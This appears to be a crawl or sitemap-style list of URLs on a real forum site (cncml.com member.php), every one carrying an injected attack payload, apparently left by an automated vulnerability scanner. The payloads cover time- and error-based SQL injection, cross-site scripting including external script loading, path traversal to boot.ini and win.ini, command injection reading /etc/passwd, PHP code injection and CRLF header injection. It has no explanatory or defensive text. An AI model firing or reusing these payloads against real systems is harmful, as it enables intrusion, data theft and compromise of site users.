0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging')%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging'))%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging'),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging',(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging'/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106)/**/AND/**/'zl'='zl 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging';%20IF(65=31)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging';%20IF(84=84)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging) 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20(9=9 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20(9=9 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20(9=9 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging)%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20(9=9 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging)%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20(9=8 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(19=19)%20THEN%200x6C6F6767696E67%20ELSE%200x28%20END))%20AND%20(67=67 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(77=32)%20THEN%200x6C6F6767696E67%20ELSE%200x28%20END))%20AND%20(77=77 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging)%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging);%20IF(45=31)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging);%20IF(67=67)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging,%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging,%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging,(SELECT%20(CASE%20WHEN%20(23=56)%20THEN%200x6C6F6767696E67%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging,(SELECT%20(CASE%20WHEN%20(23=59)%20THEN%200x6C6F6767696E67%20ELSE%2023*(SELECT%2023%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging,(SELECT%20(CASE%20WHEN%20(28=28)%20THEN%200x6C6F6767696E67%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging,(SELECT%20(CASE%20WHEN%20(34=34)%20THEN%200x6C6F6767696E67%20ELSE%2034*(SELECT%2034%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging,(SELECT%20(CASE%20WHEN%20(61=61)%20THEN%200x6C6F6767696E67%20ELSE%2061*(SELECT%2061%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging,(SELECT%20(CASE%20WHEN%20(75=77)%20THEN%200x6C6F6767696E67%20ELSE%2075*(SELECT%2075%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging,(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging,(SELECT%20CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20FROM%20SYSCOLUMNS) 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging,(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging,EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging1 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logging6633x3X6 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=loggingAND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=loggingJyI%3D 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logginga' 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=loggingalert(42873) 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=logginge360 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=phpinfo 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=response.write(9412458*9542755) 0.0001 http://www.cncml.com/member.php?action=login&viewlostpw=1&mod=set%7Cset&set 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=%0d%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=%0d%0a%20SomeCustomInjectedHeader:injected_by_test 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=%3C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=%3C?php%20print(md5(1122));exit;?%3E 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=%3Cdir 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=%60ping%20-c%205%20127.0.0.1%60 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=%7C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=%7Cping%20-n%205%20127.0.0.1%7C 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=%7Cping+-c+4+127.0.0.1 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod='%5D;print(md5(1122));// 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=');print(md5(1122));// 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=';?%3E%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=(SELECT%20(CASE%20WHEN%20(97=65)%20THEN%200x636C656172636F6F6B696573%20ELSE%2097*(SELECT%2097%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=................windowswin.ini 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=../../../../../../../../boot.ini 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=../../../../../../../../boot.ini%00 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=../../../../../../../../boot.ini%00.htm 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=../../../../../../../../boot.ini%00.html 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=../../../../../../../../boot.ini%00.jpg 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=../../../../../../../../boot.ini%00.txt 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./boot.ini 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=;$%7B@print(md5(1122))%7D; 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=;cat%20/etc/passwd; 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=;print(md5(1122));%23 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=C:%5Cboot.ini 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies 0.0014 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies!(%28%29&%26%21%7C*%7C%2A%7C 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies%00' 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies%20 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies%25%27%29%20AND%2081%3D56%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies%25'%20AND%2017=14%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(71=88)%20THEN%20'clearcookies'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies%25';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies%2527 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies%2527%20AND%2099=33%20%23 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies%5B%5D 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies%5C%22 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies%5C' 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies%a8%a4%00xa7%a8%a4%a1%e9 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies%bf%27 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies' 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies'%20AND%20'Kq'='E8 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 